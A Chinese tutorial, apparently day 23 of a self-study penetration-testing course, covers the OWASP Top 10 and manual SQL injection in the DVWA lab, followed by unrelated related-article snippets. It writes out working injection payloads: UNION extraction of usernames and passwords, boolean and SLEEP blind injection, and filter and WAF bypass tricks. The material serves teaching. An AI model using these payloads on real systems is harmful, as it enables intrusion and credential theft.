当前位置: 首页 > article >正文

自学渗透测试第23天(漏洞分类与sql注入模仿)

第9章 服务配置与工具链联动第23–25天9.1 漏洞分类与SQL注入模仿第23天核心目标掌握Web漏洞分类体系理解OWASP TOP 10漏洞分类建立系统化的漏洞认知框架。精通手工SQL注入流程超越自动化工具掌握从注入点探测、信息获取到数据提取的完整手工注入流程与技巧。理解漏洞防御与绕过了解SQL注入的常见防御机制如WAF、过滤函数并学习基础的手工绕过思路。模块一Web漏洞分类体系1.1 OWASP TOP 10核心漏洞注入SQLi, NoSQLi, OS命令注入, LDAP注入。失效的身份认证弱口令、会话管理不当、注销机制失效。敏感信息泄露明文传输密码、错误信息泄露、不安全的直接对象引用。XML外部实体XXE攻击。失效的访问控制水平/垂直越权。安全配置错误默认配置、不必要的服务、错误的HTTP头。跨站脚本XSS。不安全的反序列化导致RCE。使用含有已知漏洞的组件未更新的框架、库。不足的日志记录和监控无法追溯攻击行为。1.2 漏洞利用链思想单一漏洞到权限提升如何将信息泄露、文件上传、SQL注入等漏洞组合实现从外网渗透到内网控制。模块二手工SQL注入深度实战2.1 注入点探测与确认经典探测Payload // 触发错误 \ // 触发错误 // 某些情况下 AND 11 // 真条件页面应正常 AND 12 // 假条件页面应异常如内容消失判断注入类型数字型id1-id1 AND 11/id1 AND 12字符型idadmin-idadmin AND 11/idadmin AND 122.2 信息收集数据库、用户、版本查询数据库版本MySQL: SELECT version, version() MSSQL: SELECT version Oracle: SELECT banner FROM v$version PostgreSQL: SELECT version()查询当前用户与数据库SELECT user(), database()联合查询注入步骤确定列数ORDER BY 5递增直到报错。确定显示位UNION SELECT 1,2,3,4,5替换显示位获取信息UNION SELECT 1,version,user(),database(),52.3 提取数据库、表、列、内容MySQL信息模式-- 获取所有数据库名 UNION SELECT 1, schema_name,3,4 FROM information_schema.schemata -- 获取指定数据库如dvwa的所有表名 UNION SELECT 1, table_name,3,4 FROM information_schema.tables WHERE table_schemadvwa -- 获取指定表如users的所有列名 UNION SELECT 1, column_name,3,4 FROM information_schema.columns WHERE table_nameusers AND table_schemadvwa -- 提取数据 UNION SELECT 1, concat(user, :, password),3,4 FROM dvwa.users2.4 盲注布尔与时间盲注布尔盲注通过页面返回内容的差异判断真假。id1 AND SUBSTRING((SELECT database()),1,1)d -- -- 如果页面正常则数据库名第一个字符是‘d’时间盲注通过执行延时函数判断。MySQL: id1 AND IF((SELECT database())dvwa, SLEEP(5), 0) -- -- 如果页面响应延迟5秒则数据库名为dvwa模块三防御机制与基础绕过3.1 常见防御机制输入过滤过滤SELECTUNION等关键字。使用预编译语句最有效的防御手段。WAF基于规则库拦截恶意请求。3.2 基础绕过技巧大小写混淆SeLeCt替代SELECT双写关键字SELSELECTECT过滤后变为SELECT内联注释/*!SELECT*/(MySQL)URL编码%55nion表示Union空白符替换使用/**/%0a代替空格等价函数/语句替换SUBSTRING-MID-LEFT模块四当日达标实战任务4.1 漏洞分类练习分析场景给定三个漏洞描述A) 网站将用户输入直接拼接到system()函数中。B) 网站的Cookie中userid参数可被篡改从而访问他人数据。C) 网站的登录页面在失败时返回“用户admin不存在”。请判断它们分别属于OWASP TOP 10中的哪类漏洞。4.2 DVWA手工注入挑战在DVWA的SQL Injection模块安全级别设为Medium或High完成以下手工注入任务探测与确认判断注入类型数字/字符及闭合方式。获取信息获取数据库版本、当前数据库名、当前数据库用户。提取数据获取users表中的所有用户名和密码MD5哈希形式。盲注实践在SQL Injection (Blind)模块通过布尔或时间盲注获取数据库版本号的第一个字符。4.3 绕过简单过滤假设一个过滤规则是删除输入中的SELECT和UNION关键字不区分大小写。请构造一个Payload使其在过滤后仍能正常执行UNION SELECT 1,2,3。模块五常见问题与解决方案5.1 手工注入难点页面无回显优先考虑布尔盲注或时间盲注。观察页面内容的细微变化如“存在/不存在”、“Welcome/”或使用SLEEP函数。UNION查询列数不一致耐心测试ORDER BY或使用NULL填充列如UNION SELECT NULL, NULL, NULL。5.2 绕过失败WAF拦截严格尝试使用更冷门的编码方式、分块传输、HTTP参数污染等技术或寻找未受WAF保护的其他功能点。明日预告第24天将聚焦Linux服务配置与连接测试学习如何安装、配置、启动和测试常见的网络服务如SSH, Apache, MySQL这是内网渗透和权限维持的重要基础。

相关文章:

自学渗透测试第23天(漏洞分类与sql注入模仿)

第9章 服务配置与工具链联动(第23–25天)9.1 漏洞分类与SQL注入模仿(第23天)核心目标掌握Web漏洞分类体系:理解OWASP TOP 10漏洞分类,建立系统化的漏洞认知框架。精通手工SQL注入流程:超越自动化…...

科研图像分析新选择:Fiji图像处理软件完整指南

科研图像分析新选择:Fiji图像处理软件完整指南 【免费下载链接】fiji A "batteries-included" distribution of ImageJ :battery: 项目地址: https://gitcode.com/gh_mirrors/fi/fiji 在生命科学、医学研究和材料科学领域,图像分析是实…...

C++实现MCP网关亚毫秒接入的最后机会:Linux 6.8新特性适配指南+DPDK 23.11迁移 checklist(限2024Q3前下载)

第一章:C编写高吞吐量MCP网关如何实现快速接入构建高吞吐量MCP(Model Control Protocol)网关的核心在于降低协议解析开销、消除I/O瓶颈,并支持毫秒级连接复用。C凭借零成本抽象、内存可控性与现代标准(C17/20&#xff…...

从Cmd到PowerShell:一个Windows老鸟的十年命令行工具演进史与效率翻倍心得

从Cmd到PowerShell:一个Windows老鸟的十年命令行工具演进史与效率翻倍心得 第一次在Windows XP上敲下dir /s命令时的兴奋感至今难忘——那是我与Cmd结缘的开始。作为从DOS时代走过来的老用户,我们这代人总带着对黑色命令窗口的特殊情感,就像程…...

轻量化、智能化、可预测的运营商API安全最佳实践指南和案例

一、概要提示:从整体视角概括方案核心价值,突出轻量化、智能化与风险可预测能力。在运营商数字化转型不断加速的背景下,API已经成为连接核心网、业务系统与外部合作生态的重要技术枢纽。围绕运营商行业“高并发、大流量、强合规”的特点&…...

【技术综述】3D高斯溅射:从原理到前沿应用的全景解析

1. 3D高斯溅射:下一代3D场景表达的革命性技术 第一次看到3D高斯溅射(3D Gaussian Splatting)渲染效果时,我被震撼到了——一个复杂的室内场景在普通显卡上就能实时渲染,画面质量堪比离线渲染的效果。这让我想起了十年前…...

边缘计算下LLM推理优化:挑战、策略与实践

1. 边缘计算中的LLM推理挑战与机遇在机器人、自动驾驶和智能家居等新兴自主系统中,边缘计算正成为部署大型语言模型(LLM)的关键平台。与云端部署相比,边缘推理具有三个显著优势:首先,它消除了数据上传到云端的延迟,这对…...

Linux 的 shuf 命令

Linux 的 shuf 命令是一个用于生成随机排列的实用工具,它可以从输入文件中随机排列行内容,或生成随机数序列。这个命令是 GNU coreutils 包的一部分,通常预装在大多数 Linux 发行版中。 基本语法:shuf [选项]... [文件] 常用选项…...

Linux 的 shred 命令

shred 是一个用于安全删除文件的 Linux 命令,它会通过多次覆写文件内容来确保数据无法恢复。与普通的 rm 删除不同,shred 能有效防止专业数据恢复工具恢复已删除的文件。 shred [选项] 文件... 常用选项 -n, --iterationsN 指定覆写次数(默…...

python beautifulsoup4

# 聊聊Beautiful Soup 4:那些年我们一起爬过的网页 写Python爬虫的人,几乎都绕不开Beautiful Soup这个库。说起来挺有意思,我第一次见到这个名字的时候还以为是某种汤类烹饪教程,后来才知道这是个HTML解析器。这么多年过去&#x…...

鸿蒙ArkTS动画开发全解析:从基础入门到实战精通

鸿蒙ArkTS动画开发全解析:从基础入门到实战精通在鸿蒙HarmonyOS应用开发中,流畅、细腻的动画是提升用户体验的核心要素。ArkTS作为鸿蒙生态的主力开发语言,基于TypeScript扩展而来,搭配ArkUI框架提供了一套简洁、高效的动画开发体…...

让QQ机器人帮你干活:基于NoneBot2和go-cqhttp的自动化测试与消息处理实战

基于NoneBot2与go-cqhttp打造智能QQ机器人:从消息处理到自动化工作流 在完成NoneBot2与go-cqhttp的基础配置后,许多开发者会面临一个关键问题:如何让机器人从简单的"复读机"进化为真正提升效率的智能助手?本文将深入探讨…...

保姆级教程:用Python+WRF+Cartopy绘制气象雷达回波图(附完整代码)

Python气象可视化实战:从WRF数据到专业雷达回波图 当台风路径预报需要验证强对流区域,或是暴雨分析要定位最大回波核心时,一张清晰的雷达反射率图往往比千言万语更有说服力。作为气象领域的"CT扫描",雷达回波图能直观展…...

3个月速成模型大师!2026年大模型进阶秘籍,薪资直接翻倍!

假如你从2026年开始学大模型,按这个步骤走准能稳步进阶。 接下来告诉你一条最快的邪修路线, 3个月即可成为模型大师,薪资直接起飞。阶段1:大模型基础阶段2:RAG应用开发工程阶段3:大模型Agent应用架构阶段4:大模型微调与私有化部署学习资源&am…...

2026科技风向标:大模型、Agent、具身智能,谁将引领AI新纪元?

2026 年,谁的主场? 作为顶流的 OpenAI,在 2025 年经历了阵痛与转型。一方面,其维持着通用大模型能力的上限位置,其模型在推理、代码、多模态等多个维度持续作为行业对标对象;另一方面,GPT-5 的…...

基于熵分析与强化学习的RTL代码生成技术解析

1. 项目概述在数字电路设计领域,寄存器传输级(RTL)代码是连接高层次设计意图与可综合逻辑的关键桥梁。传统RTL编写需要工程师具备深厚的硬件描述语言(如Verilog)功底和时序逻辑设计经验,这导致硬件设计存在…...

mov指令的高低位处理规则

核心主旨与关键规则文档的核心在于阐明一个基本规则:大多数 mov 指令只更新其操作数大小指定的字节,唯一的例外是当 movl(32位移动)以寄存器为目的时,它会将该寄存器的高32位清零**。**这个规则源于 x86-64的编程惯例&…...

从抓包分析看BLE ATT协议:手把手教你用nRF Sniffer解读空中交互的PDU

从抓包分析看BLE ATT协议:手把手教你用nRF Sniffer解读空中交互的PDU 蓝牙低功耗(BLE)技术已成为物联网设备通信的核心支柱,而属性协议(ATT)作为其数据交互的基础层,直接决定了设备间如何高效可…...

3步解锁音乐自由:qmc-decoder帮你将QQ音乐专有格式转换为MP3/FLAC

3步解锁音乐自由:qmc-decoder帮你将QQ音乐专有格式转换为MP3/FLAC 【免费下载链接】qmc-decoder Fastest & best convert qmc 2 mp3 | flac tools 项目地址: https://gitcode.com/gh_mirrors/qm/qmc-decoder 你是否遇到过这样的困扰:从QQ音乐…...

3个技巧轻松搞定代码复杂度分析:Lizard助你写出高质量代码

3个技巧轻松搞定代码复杂度分析:Lizard助你写出高质量代码 【免费下载链接】lizard A simple code complexity analyser without caring about the C/C header files or Java imports, supports most of the popular languages. 项目地址: https://gitcode.com/gh…...

JetBrains IDE试用期重置终极指南:简单三步无限续杯

JetBrains IDE试用期重置终极指南:简单三步无限续杯 【免费下载链接】ide-eval-resetter 项目地址: https://gitcode.com/gh_mirrors/id/ide-eval-resetter 还在为JetBrains IDE试用期到期而烦恼吗?IDE Eval Resetter是解决这个问题的完美工具&a…...

LangChain之大模型介绍

一、认识模型模型是一个从数据中学习规律的“数学函数”或“程序”。旨在处理和生成信息的算法,通常模仿人 类的认知功能。通过从大型数据集中学习模式和洞察,这些模型可以进行预测、生成文本、图像或其 他输出,从而增强各个行业的各种应用。…...

SAP AVC实战:从MTO订单到交付的可配置物料全链路解析

1. 可配置物料的前世今生:从LO-VC到AVC的进化之路 第一次接触可配置物料是在2015年,当时客户需要定制一批液压系统,每个订单的参数都不同。传统做法是给每个变体创建独立物料号,结果一个月下来物料主数据暴涨300%,MRP跑…...

echarts 折柱混合图,渐变切图例和x轴滚动可自动切换

echarts 折柱混合图,渐变切图例和x轴滚动可自动切换,并且自定义图例,一般使用在大屏项目上,效果如图getSZCharts(val) {this.mySZFXChart this.$echarts.init(document.getElementById("isSZCharts"));let bardata1 [6, 6, 5, 3, 8];let bardata2 [8, 8, 8, 6, 7]…...

从‘饱和’与‘残存失调’聊起:手把手分析OOS与IOS两种失调消除技术该怎么选

从‘饱和’与‘残存失调’谈OOS与IOS技术选型:工程师的决策指南 在高速高精度比较器设计中,失调消除技术的选择往往成为影响整体性能的关键决策点。当您面对一个增益设计较高的前置放大器时,输出饱和风险与残余失调容忍度之间的矛盾会变得尤为…...

Pearcleaner:为你的Mac来一次彻底的数字大扫除

Pearcleaner:为你的Mac来一次彻底的数字大扫除 【免费下载链接】Pearcleaner A free, source-available and fair-code licensed mac app cleaner 项目地址: https://gitcode.com/gh_mirrors/pe/Pearcleaner 你是否曾经疑惑过,为什么删除了一个应…...

如何批量清理文件名数字前缀?3个方法一键批量清理文件名数字前缀

一、为什么文件名要删数字?先聊聊这些数字编号的"坑":比如项目结束后整理资料,"3.最终版PPT"和"5.最终版PPT"混在一起,发邮件时领导可能收到错版本;或者客户突然要旧资料,按…...

文档插件《道斯通图》不震撼首发 免费下载直接使用

最后有下载地址,免费下载,安装后直接使用。(限时7天)后续会在视频平台发布详细的操作视频教程,以下操作流程仅供参考。你是否还在为 Word 文档处理繁琐操作头疼?批量合并、格式转换、排版统一、内容替换、图…...

基于单片机的超声波避障小车(有完整资料)

资料查找方式:特纳斯电子(电子校园网):搜索下面编号即可编号:T1932310M设计简介:本设计是基于单片机的超声波避障小车,主要实现以下功能:通过温度传感器检测温度 通过超声波模块检测…...

办公族必看!5个亲测有效的PPT压缩方法,轻松减小文件大小提升效率

在数字化办公场景中,PPT文件体积过大已成为职场人普遍面临的难题。无论是邮件发送时被系统拦截、在线平台上传超时,还是会议演示时因文件臃肿导致设备卡顿,都会严重影响工作效率。本文基于大量职场用户实测数据,系统拆解五种不同场…...